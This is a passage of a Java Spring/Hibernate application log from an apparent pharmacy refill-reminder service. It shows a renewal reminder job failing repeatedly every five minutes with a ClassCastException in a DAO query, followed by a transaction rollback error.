PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at 